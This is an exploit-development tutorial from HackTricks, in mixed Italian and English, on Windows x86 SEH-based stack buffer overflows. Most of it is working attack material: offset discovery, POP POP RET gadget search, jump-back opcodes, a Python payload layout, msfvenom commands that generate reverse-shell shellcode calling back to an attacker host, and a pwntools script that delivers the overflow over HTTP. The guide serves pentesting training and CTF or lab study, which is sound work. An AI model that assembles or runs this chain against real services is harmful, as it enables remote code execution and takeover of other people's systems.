Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
SEH-based exploitation è una tecnica classica di Windows x86 che abusa della catena Structured Exception Handler memorizzata nello stack. Quando un stack buffer overflow sovrascrive i due campi da 4 byte
- nSEH: puntatore al record SEH successivo, e
- SEH: puntatore alla funzione di gestione dell'eccezione
un attacker può prendere il controllo dell'esecuzione tramite:
- Impostare SEH all'indirizzo di un gadget POP POP RET in un modulo non protetto, così che quando viene scatenata un'eccezione il gadget ritorni su byte controllati dall'attacker, e
- Usare nSEH per reindirizzare l'esecuzione (tipicamente con un short jump) indietro nel grande buffer di overflow dove risiede lo shellcode.
Questa tecnica è specifica per processi a 32-bit (x86). Su sistemi moderni, preferire un modulo senza SafeSEH e ASLR per il gadget. I bad characters spesso includono 0x00, 0x0a, 0x0d (NUL/CR/LF) a causa di C-strings e parsing HTTP.
Finding exact offsets (nSEH / SEH)
- Mandare in crash il processo e verificare che la catena SEH sia sovrascritta (es., in x32dbg/x64dbg, controllare la SEH view).
- Inviare un pattern ciclico come dati di overflow e calcolare gli offset dei due dword che finiscono in nSEH e SEH.
Example with peda/GEF/pwntools on a 1000-byte POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
Verifica piazzando marker in quelle posizioni (es., nSEH=b"BB", SEH=b"CC"). Mantieni la lunghezza totale costante per rendere il crash riproducibile.
Scelta di un POP POP RET (SEH gadget)
Hai bisogno di una sequenza POP POP RET per unwindare il frame SEH e ritornare nei tuoi byte nSEH. Cercala in un modulo senza SafeSEH e idealmente senza ASLR:
- Mona (Immunity/WinDbg):
!mona modules
poi!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
per elencare i POP POP RET gadgets e lo stato di SafeSEH.
Scegli un indirizzo che non contenga badchars quando scritto little-endian (es., p32(0x004094D8)
). Preferisci gadget all'interno del binario vulnerabile se le protezioni lo permettono.
Tecnica di jump-back (short + near jmp)
nSEH è solo 4 byte, che ospitano al massimo un short jump di 2 byte (EB xx
) più padding. Se devi saltare indietro di centinaia di byte per raggiungere l'inizio del tuo buffer, usa un near jump di 5 byte posizionato subito prima di nSEH e collegalo con un short jump da nSEH.
Con nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
Idea di layout per un payload da 1000 byte con nSEH all'offset 660:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
Flusso di esecuzione:
- Si verifica un'eccezione, il dispatcher utilizza lo SEH sovrascritto.
- POP POP RET provoca lo srotolamento dello stack verso il nostro nSEH.
- Il nSEH esegue
jmp short -8
verso il near jump di 5 byte. - Il near jump atterra all'inizio del nostro buffer, dove risiedono il NOP sled + shellcode.
Caratteri problematici
Costruisci una stringa badchar completa e confronta la memoria dello stack dopo il crash, rimuovendo i byte che vengono corrotti dal parser del bersaglio. Per gli overflow basati su HTTP, \x00\x0a\x0d
sono quasi sempre esclusi.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode generation (x86)
Usa msfvenom con i tuoi badchars. Un piccolo NOP sled aiuta a tollerare la variabilità dell'atterraggio.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
Se generato al volo, il formato hex è comodo da incorporare e per unhex in Python:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Consegna via HTTP (CRLF precisi + Content-Length)
Quando il vettore vulnerabile è l'HTTP request body, crea una raw request con CRLF esatti e Content-Length correttamente impostato, in modo che il server legga l'intero overflowing body.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
Strumenti
- x32dbg/x64dbg to observe SEH chain and triage the crash.
- ERC.Xdbg (x64dbg plugin) to enumerate SEH gadgets:
ERC --SEH
. - Mona as an alternative:
!mona modules
,!mona seh
. - nasmshell to assemble short/near jumps and copy raw opcodes.
- pwntools to craft precise network payloads.
Note e avvertenze
- Si applica solo ai processi x86. x64 utilizza uno schema SEH diverso e lo sfruttamento basato su SEH generalmente non è praticabile.
- Preferire gadget in moduli senza SafeSEH e ASLR; altrimenti trovare un modulo non protetto caricato nel processo.
- I service watchdog che riavviano automaticamente al crash possono facilitare lo sviluppo iterativo dell'exploit.
References
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.